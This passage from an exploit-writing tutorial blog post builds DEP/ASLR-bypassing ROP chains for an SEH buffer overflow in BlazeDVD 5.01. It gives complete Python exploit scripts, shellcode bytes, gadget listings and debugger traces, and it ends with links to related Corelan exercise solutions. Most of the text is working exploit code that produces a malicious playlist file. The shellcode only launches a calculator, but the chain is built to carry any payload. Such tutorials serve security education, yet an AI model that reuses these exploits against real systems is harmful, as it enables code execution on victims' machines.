    0x61646807, # RETN (ROP NOP) [EPG.dll]
    
    # Store VirtualProtect() in ESI
    # The reason we store VirtualProtect in ESI and not in EDI
    # is because we want to take advantage of ESP being automatically
    # pushed on the stack by the PUSHAD instruction.
    0x61642aac, # PUSH EAX # POP ESI # RETN 04 [EPG.dll]
    
    # Store Return Address in EBP
    # The goal of this instruction is to simply transfer execution flow to the
    # stack and our shellcode. PUSH ESP # RET 04 is equivalent to JMP ESP.
    # ESP will be pointing to the contents obtained from EAX since everything
    # else will be popped from the stack by the VirtualProtect call.
    0x6410ba9b, # POP EBP # RETN [NetReg.dll] 
    0x41414141, # Filler (RETN offset compensation)
    0x61608b81, # & push esp #  ret 04 [EPG.dll]
    
    # lpAddress will be automatically populated by the PUSHAD instruction.
    # PUSHAD will simply take the address stored in ESP just before it is executed
    # and push it on the stack right after EBP (ReturnAddress). With this in mind
    # it is convenient to place our shellcode immediately after the PUSHAD
    # instruction.
    
    # Store dwSize in EBX. 
    # 512 bytes from the end of the chain will be marked as Executable. This
    # value can be adjusted based on the actual shellcode size using negative
    # complement to avoid null bytes.
    0x6403bed6, # POP EAX # RETN [MediaPlayerCtrl.dll] 
    0xfffffdff, # Value to negate, will become 0x00000201
    0x640377e0, # NEG EAX # RETN [MediaPlayerCtrl.dll] 
    0x6163dd7f, # PUSH EAX # ADD AL,5E # POP EBX # RETN [EPG.dll]
    
    # Store NewProtect in EDX. 
    # 0x40 is equivalent to PAGE_EXECUTE_READWRITE
    0x64114086, # POP EAX # RETN [NetReg.dll] 
    0xffffffc0, # Value to negate, will become 0x00000040
    0x6002d513, # NEG EAX # RETN [Configuration.dll] 
    0x640148ce, # XCHG EAX,EDX # RETN 02 [MediaPlayerCtrl.dll]
    
    # Store lpOldProtect in ECX
    # The address 0x6404fffb is writeable
    0x6002e5c3, # POP ECX # RETN [Configuration.dll] 
    0x4141,     # Filler (RETN offset compensation)
    0x6404fffb, # &Writable location [MediaPlayerCtrl.dll]
    
    # EAX is set to a regular NOP sled as it will become the 
    # beginning of the executed shellcode once JMP ESP is executed
    0x6162f773, # POP EAX # RETN [EPG.dll] 
    0x90909090, # nop
    
    # PUSHAD will push registers on the stack while moving ESP
    # register to point to the first pushed register as follows.
    # 
    #   Stack:
    #   EDI (ROP NOP)       <---- ESP now points here
    #   ESI (VirtualProtect)
    #   EBP (ReturnAddress)
    #   ESP (lpAddress)
    #   EBX (dwSize)
    #   EDX (flNewProtect)
    #   ECX (lpflOldProtect)
    #   EAX (NOP)
    #
    # After PUSHAD is executed the RETN will transfer execution
    # back to the stack precisely where ROP NOP address was pushed
    # from EDI.
    0x6002ea81, # PUSHAD # RETN [Configuration.dll]
    

    The above ROP chain uses a PUSHAD technique as follows:

    1) Registers EAX through ESI are populated with the VirtualProtect function parameters and the necessary padding (EDI and EAX).

    2) Registers are pushed on the stack using the PUSHAD instruction.

    3) ESI with the VirtualProtect pointer is executed to disable DEP for a specified memory region.

    Let's update the previous PoC and observe it in the debugger:

    #!/usr/bin/env python
    # PoC7.py
    import struct
    
    junk1 = "A"*304
    
    # Get kernel32 address from the stack
    rop = struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    # Calculate VirtualProtect relative to the leaked kernel32 address
    rop+= struct.pack('L',0x61628185) # POP EBP # RETN
    rop+= struct.pack('L',0xfffee6fc) # Offset
    rop+= struct.pack('L',0x6161a228) # ADD EAX,EBP # RETN
    
    # Setup VirtualProtect
    
    # EDI = ROP NOP (RETN)
    rop+= struct.pack('L',0x6403650e) # POP EDI # RETN
    rop+= struct.pack('L',0x61646807) # RETN (ROP NOP)
    
    # ESI = VirtualProtect()
    rop+= struct.pack('L',0x61642aac) # PUSH EAX # POP ESI # RETN 04
    
     # EBP = ReturnAddress (ptr to jmp esp)
    rop+= struct.pack('L',0x6410ba9b) # POP EBP # RETN
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x61608b81) # Pointer to PUSH ESP # RETN 04
    
    # ESP = lpAddress (automatic)
    # Autofilled
    
    # EBX = dwSize
    rop+= struct.pack('L',0x6403bed6) # POP EAX # RETN
    rop+= struct.pack('L',0xfffffdff) # 512 Bytes
    rop+= struct.pack('L',0x640377e0) # NEG EAX # RETN
    rop+= struct.pack('L',0x6163dd7f) # PUSH EAX # ADD AL,5E # POP EBX # RETN
    
    # EDX = flNewProtect (0x40)
    rop+= struct.pack('L',0x64114086) # POP EAX # RETN *
    rop+= struct.pack('L',0xffffffc0) # 0x40 PAGE_EXECUTE_READWRITE *
    rop+= struct.pack('L',0x6002d513) # NEG EAX # RETN *
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02 *
    
    # ECX = lpflOldProtect (ptr to W address)
    rop+= struct.pack('L',0x6002e5c3) # POP ECX # RETN [Configuration.dll] *
    rop+= struct.pack('H',0x4141)     # junk *
    rop+= struct.pack('L',0x6404f7eb) # Pointer to writable location *
    
    # EAX = NOP (0x90909090)
    rop+= struct.pack('L',0x6162f773) # POP EAX # RETN *
    rop+= struct.pack('L',0x90909090) # Nop padding
    
    # PUSH parameters from registers on the stack
    rop+= struct.pack('L',0x60010324) # PUSHAD # RETN
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop  + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    Let's watch what happens in the debugger before and after PUSHAD is executed:

    (96c.960): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=776100aa ecx=04918cf0 edx=00000042 esi=049128a0 edi=6405362c
    eip=41414141 esp=0012f424 ebp=04912470 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
    41414141 ??              ???
    0:000> bp 0x60010324
    0:000> g
    Breakpoint 0 hit
    eax=90909090 ebx=00000201 ecx=6404f7eb edx=00000040 esi=76bf2341 edi=61646807
    eip=60010324 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    Configuration!DllCreateObject+0x8814:
    60010324 60              pushad
    0:000> dds esp
    0012f4aa  43434343
    0012f4ae  43434343
    0012f4b2  43434343
    0012f4b6  43434343
    0012f4ba  43434343
    0012f4be  43434343
    0:000> t
    eax=90909090 ebx=00000201 ecx=6404f7eb edx=00000040 esi=76bf2341 edi=61646807
    eip=60010325 esp=0012f48a ebp=61608b81 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    Configuration!DllCreateObject+0x8815:
    60010325 c3              ret
    0:000> dds esp
    0012f48a  61646807 EPG!Ordinal1+0x3e867
    0012f48e  76bf2341 kernel32!VirtualProtect
    0012f492  61608b81 EPG!Ordinal1+0xbe1
    0012f496  0012f4aa
    0012f49a  00000201
    0012f49e  00000040
    0012f4a2  6404f7eb MediaPlayerCtrl!DllCreateObject+0x41cfb
    0012f4a6  90909090 ; PUSHAD ROP used to be here
    0012f4aa  43434343 ; Beginning of the shellcode
    

    As you can see after the PUSHAD instruction is executed all of the registers were pushed on the stack in the order necessary to successfully execute the VirtualProtect() call. Continuing the execution, we enter the kernel32!VirtualProtect function and disable DEP for the memory region just below the PUSHAD ROP chain:

    0:000> t
    eax=90909090 ebx=00000201 ecx=6404f7eb edx=00000040 esi=76bf2341 edi=61646807
    eip=61646807 esp=0012f48e ebp=61608b81 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    EPG!Ordinal1+0x3e867:
    61646807 c3              ret
    0:000> t
    eax=90909090 ebx=00000201 ecx=6404f7eb edx=00000040 esi=76bf2341 edi=61646807
    eip=76bf2341 esp=0012f492 ebp=61608b81 iopl=0         nv up ei pl nz na po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
    kernel32!VirtualProtect:
    76bf2341 8bff            mov     edi,edi
    

    Let's skip over until we return from the VirtualProtect() call and see if it is now possible to execute commands on the stack:

    0:000> bp 61608b81
    0:000> bl
     0 e 60010324     0001 (0001)  0:**** Configuration!DllCreateObject+0x8814
     1 e 61608b81     0001 (0001)  0:**** EPG!Ordinal1+0xbe1
    0:000> g
    Breakpoint 1 hit
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=61608b81 esp=0012f4a6 ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    EPG!Ordinal1+0xbe1:
    61608b81 54              push    esp
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=61608b82 esp=0012f4a2 ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    EPG!Ordinal1+0xbe2:
    61608b82 c20400          ret     4
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4a6 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4a6 90              nop
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4a7 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4a7 90              nop
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4a8 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4a8 90              nop
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4a9 esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4a9 90              nop
    0:000> t
    eax=00000001 ebx=00000201 ecx=0012f44e edx=777870b4 esi=76bf2341 edi=61646807
    eip=0012f4aa esp=0012f4aa ebp=61608b81 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    0012f4aa 43              inc     ebx
    

    Hurray! We have started executing the NOP sled stored in EAX and moved on to the beginning of junk2 buffer. At this point we are ready to finalize the exploit.

    Finalizing the Exploit

    With the initial padding of 304 bytes and additional 210 bytes of ROP chain we only have 198 bytes available for shellcode before we hit the SEH address placeholder. 198 bytes is sufficient for a simple shellcode; however, you can use an egghunter or a jump instruction if you want to place the main shellcode somewhere else (e.g. right after the SEH pointer).

    Here is the final exploit using a simple calc shellcode:

    #!/usr/bin/env python
    # BlazeDVD 5.01 DEP/ASLR Exploit by iphelix
    # PUSHAD chain generated by mona.py
    import struct
    
    junk1 = "A"*304
    
    # Get kernel32 address from the stack
    rop = struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    # Calculate VirtualProtect relative to the leaked kernel32 address
    rop+= struct.pack('L',0x61628185) # POP EBP # RETN
    rop+= struct.pack('L',0xfffee6fc) # Offset
    rop+= struct.pack('L',0x6161a228) # ADD EAX,EBP # RETN
    
    ###########################################################
    # Setup VirtualProtect
    
    # EDI = ROP NOP (RETN)
    rop+= struct.pack('L',0x6403650e) # POP EDI # RETN
    rop+= struct.pack('L',0x61646807) # RETN (ROP NOP)
    
    # ESI = ptr to VirtualProtect()
    rop+= struct.pack('L',0x61642aac) # PUSH EAX # POP ESI # RETN 04
    
     # EBP = ReturnTo (ptr to jmp esp)
    rop+= struct.pack('L',0x6410ba9b) # POP EBP # RETN
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x61608b81) # Pointer to PUSH ESP # RETN 04
    
    # ESP = lPAddress (automatic)
    # Autofilled
    
    # EBX = dwSize
    rop+= struct.pack('L',0x6403bed6) # POP EAX # RETN
    rop+= struct.pack('L',0xfffffdff) # 512 Bytes
    rop+= struct.pack('L',0x640377e0) # NEG EAX # RETN
    rop+= struct.pack('L',0x6163dd7f) # PUSH EAX # ADD AL,5E # POP EBX # RETN
    
    # EDX = NewProtect (0x40)
    rop+= struct.pack('L',0x64114086) # POP EAX # RETN *
    rop+= struct.pack('L',0xffffffc0) # 0x40 PAGE_EXECUTE_READWRITE *
    rop+= struct.pack('L',0x6002d513) # NEG EAX # RETN *
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02 *
    
    # ECX = lpOldProtect (ptr to W address)
    rop+= struct.pack('L',0x6002e5c3) # POP ECX # RETN [Configuration.dll] *
    rop+= struct.pack('H',0x4141)     # junk *
    rop+= struct.pack('L',0x6404f7eb) # Pointer to writable location *
    
    # EAX = NOP (0x90909090)
    rop+= struct.pack('L',0x6162f773) # POP EAX # RETN *
    rop+= struct.pack('L',0x90909090) # Nop padding
    
    # PUSH parameters from registers on the stack
    rop+= struct.pack('L',0x60010324) # PUSHAD # RETN
    
    # shellcode
    sc = "\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC"
    
    junk2 = "C"*(612 - len(sc) - len(rop) - len(junk1))
    print len(junk2)
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    payload = junk1 + rop + sc + junk2 + seh
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    After opening the "exploit.plf" file, you should be greated with a fancy Windows 7 calculator:

    Trying harder

    The exploit in the previous section illustrates the power of the PUSHAD technique where Windows API call parameters are quickly populated on the stack and executed. However, in the interest of learning and pain I have decided to implement the same exploit by using the placeholder approach covered in the Corelan Tutorial.

    When trying to build the chain, I have first searched through the rop.txt file for instructions of type MOV [REG1],REG2]. This instruction is useful for filling in a placeholder where the destination REG1 would point to the current empty slot while REG2 would be populated with the actual data.

    The following ROP gadgets looked promising:

    MOV DWORD PTR DS:[EAX],ECX # RETN
    MOV DWORD PTR DS:[ECX],EAX # RETN
    MOV DWORD PTR DS:[EDX],ECX # RETN
    MOV DWORD PTR DS:[EAX],EDX # RETN
    MOV DWORD PTR DS:[EAX+10],EDX # RETN 08
    MOV DWORD PTR DS:[EAX+14],EDX # RETN 08
    MOV DWORD PTR DS:[EAX+18],EDX # RETN
    MOV DWORD PTR DS:[EAX+ECX],EDX # RETN 0C
    

    Based on a few simple searches through available ROP gadgets I have decided to use EAX as the target register , because it was the easiest to manipulate:

    NEG EAX # RETN
    XOR EAX,EAX # RETN
    SUB EAX,ECX # RETN
    ADD EAX,EBP
    XCHG EAX,EDX
    

    It was much harder to pick the source register. Unfortunately, while [EAX],ECX appeared to work at first there were very few gadgets that could be used to manipulate it. As a result, I have decided to go with the [EAX],EDX pair especially considering it already had useful gadgets such as [EAX+10],EDX, [EAX+14],EDX and [EAX+18],EDX. Additionally there were plenty of gadgets which could be used to manipulate both EDX and EAX:

    XCHG EAX,EDX # RETN
    MOV EAX,EDX # RETN
    SUB EAX,EDX # RETN
    

    The XCHG instruction is particularly useful when calculating relative addresses and offsets.

    With the above in mind, I came up with the following exploit which does not rely on the PUSHAD technique:

    #!/usr/bin/env python
    # BlazeDVD 5.01 DEP/ASLR (non-PUSHAD) exploit by iphelix
    import struct
    
    junk1 = "A"*304
    
    #############################################################
    # 0x00 Find ourselves on the stack
    
    rop = struct.pack('L',0x64022c64) # PUSH ESP # POP ESI # RETN
    rop+= struct.pack('L',0x6161300e) # MOV EAX,ESI # POP ESI # RETN
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x6403bed7) # ROP NOP (used for alignment
                                      # so we can use [EAX+n],EDX)
    
    rop+= struct.pack('L',0x61602d9c) # {pivot 24} :  # ADD ESP,18 # RETN
    
    #############################################################
    # VirtualProtect placeholder
    rop+= struct.pack('L',0x11111111) # VirtualProtect
    rop+= struct.pack('L',0x22222222) # ReturnAddress
    rop+= struct.pack('L',0x33333333) # lpAddress
    rop+= struct.pack('L',0x44444444) # dwSize
    rop+= struct.pack('L',0x55555555) # flNewProtect
    rop+= struct.pack('L',0x6404f7eb) # lpflOldProtect
    #############################################################
    
    #############################################################
    # 0x10 Virtual Protect
    
    # 0xA Temporarily store EAX in EDX
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x6403bed7) # ROP NOP
    rop+= struct.pack('H',0x4141)     # junk
    
    # 0xB Extract leaked kernel32 address from the stack
    rop+= struct.pack('L',0x61618563) # XCHG EAX,EBP # RETN
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffff0d0) # Offset
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    rop+= struct.pack('L',0x6163227d) # MOV EAX,DWORD PTR DS:[EAX] # RETN
    
    # 0xC Calculate VirtualProtect relative to the leaked kernel32 address
    rop+= struct.pack('L',0x61628185) # POP EBP # RETN
    rop+= struct.pack('L',0xfffee6fc) # Offset
    rop+= struct.pack('L',0x6161a228) # ADD EAX,EBP # RETN
    
    # 0xD Fill in the VirtualProtect placeholder
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x600139c5) # MOV DWORD PTR DS:[EAX+10],EDX # RETN 08
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    
    #############################################################
    # 0x20 ReturnAddress
    
    # 0xA Temporarily store EAX in EDX
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    
    # 0xB Get the placeholder pivot back into EAX
    rop+= struct.pack('L',0x6403bf53) # MOV EAX,EDX # RETN
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    
    # 0xC Put calculated shellcode address into EAX
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffffecc) # Offset (Shellcode will be placed after SEH 308 bytes away from EAX)
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    
    # 0xD Exchange EAX,EDX and store ReturnAddress
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x616193b5) # MOV DWORD PTR DS:[EAX+14],EDX # RETN 08
    rop+= struct.pack('H',0x4141)     # junk
    
    #############################################################
    # 0x30 lpAddress
    
    # 0xA Store lpAddress which is already in EDX
    rop+= struct.pack('L',0x64044486) # MOV DWORD PTR DS:[EAX+18],EDX # RETN
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    
    #############################################################
    # 0x40 dwSize
    
    # 0xA Adjust EAX so we can still use [EAX+10],EDX instruction
    rop+= struct.pack('L',0x616301d7) # POP ECX # RETN
    rop+= struct.pack('L',0xfffffff4) # Offset (EAX+C)
    rop+= struct.pack('L',0x6162938a) # SUB EAX,ECX # RETN
    
    # 0xB Temporarily store EAX in EDX
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    
    # 0xC Put 0x201 into EAX
    rop+= struct.pack('L',0x6403bed6) # POP EAX # RETN
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    rop+= struct.pack('L',0xfffffdff) # 512 Bytes
    rop+= struct.pack('L',0x640377e0) # NEG EAX # RETN
    
    # 0xD Exchange EAX,EDX and store dwSize
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x600139c5) # MOV DWORD PTR DS:[EAX+10],EDX # RETN 08
    rop+= struct.pack('H',0x4141)     # junk
    
    #############################################################
    # 0x50 NewProtect (0x40)
    
    # 0xA Temporarily store EAX in EDX
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    rop+= struct.pack('L',0x41414141) # junk (RETN 08)
    
    # 0xB Put 0x40 into EAX
    rop+= struct.pack('L',0x64114086) # POP EAX # RETN
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    rop+= struct.pack('L',0xffffffc0) # 0x40 PAGE_EXECUTE_READWRITE
    rop+= struct.pack('L',0x6002d513) # NEG EAX # RETN
    
    # 0xC Exchange EAX,EDX and store NewProtect
    rop+= struct.pack('L',0x640148ce) # XCHG EAX,EDX # RETN 02
    rop+= struct.pack('L',0x616193b5) # MOV DWORD PTR DS:[EAX+14],EDX # RETN 08
    rop+= struct.pack('H',0x4141)     # junk (RETN 02)
    
    #############################################################
    # 0x60 Execute VirtualProtect
    
    # 0xA Adjust EAX to point to the VirtualProtect call (use INC for a change)
    rop+= struct.pack('L',0x61630fa3) # INC EAX # RETN
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x41414141) # junk
    rop+= struct.pack('L',0x61630fa3) # INC EAX # RETN
    rop+= struct.pack('L',0x61630fa3) # INC EAX # RETN
    rop+= struct.pack('L',0x61630fa3) # INC EAX # RETN
    
    # 0xB Execute VirtualProtect
    rop+= struct.pack('L',0x616248b3) # XCHG EAX,ESP # RETN
    
    junk2 = "C"*(612 - len(rop) - len(junk1))
    print len(junk2)
    
    seh = struct.pack('L',0x600148df) # ADD ESP,400 # RETN
    
    sc = "\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC"
    
    payload = junk1 + rop + junk2 + seh + sc
    
    f = open('exploit.plf','w')
    f.write(payload)
    f.close()
    

    I have tried to make the exploit as readable as possible and write plenty of comments, but just in case here is the general flow of how it works:

    1) The initial payload of 612 bytes (consisting of junk1, rop and junk2) overwrites the SEH handler with an address that we control.

    2) After triggering the excepting we execute JMP ESP,400 and pivot 1024 bytes to the beginning of the ROP chain.

    3) The ROP chain proceeds to find the kernel32|VirtualProtect address and populate all of the VirtualProtect parameter placeholders on the stack. Both ReturnAddress and lpAddress point to the calculated location of the shellcode. The rest of the parameters are used to define shellcode size (up to 512 bytes) and make memory executable.

    4) After populating all of the VirtualProtect parameters the execution is transferred to the placeholder with XCHG EAX,ESP

    5) Once VirtualProtect returns, the execution is transferred to the shellcode placed at the very end of our payload.

    If all goes well, you should be greated with a friendly calculator popup. This particular exploit does not have the same shellcode size limitations as in the section above (up to 198 bytes); however, the ROP chain to bypass ASLR and DEP is significantly larger.

    External Links and References

    Special Note

    This article would not be possible if not for the hard work of Peter Van Eeckhoutte and the Corelan Team. Thanks guys.

    Published on July 8th, 2012 by iphelix

    sprawlsimilar

    corelan - tutorial 7 - exercise solution

    A solution to the AIMP2 exercise at the end of the Exploit Writing Tutorial Part 7 by Corelan Team. The solution illustrates a exploitation of Unicode applications using Venetian shellcoding techniques. Read more.

    corelan - tutorial 9 - exercise solution

    A solution to a small exercise in Corelan's Tutorial 9 on writing Windows 32-bit shellcode. The solution illustrates some techniques in removing null-bytes from a sample shellcode as well as a few tricks to keep the shellcode modular and easy to modify. Read more.

    corelan - tutorial 3b - exercise solution

    A solution to the MP3 Studio exercise at the end of the Exploit Writing Tutorial Part 3b by Corelan Team. The solution illustrates a sample buffer overflow exploitation of a Windows application. Read more.

    getting from seh to nseh

    A collection of techniques on Windows SEH exploitation. Specifically the article covers methods of reliable exploit development by getting from a successfully overwritten pointer to Exception Handler (SEH) to the pointer to the Next Exception Handler (NSEH) struct. Read more.


    sprawlcomments

    All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

    π
    ///\oo/\\\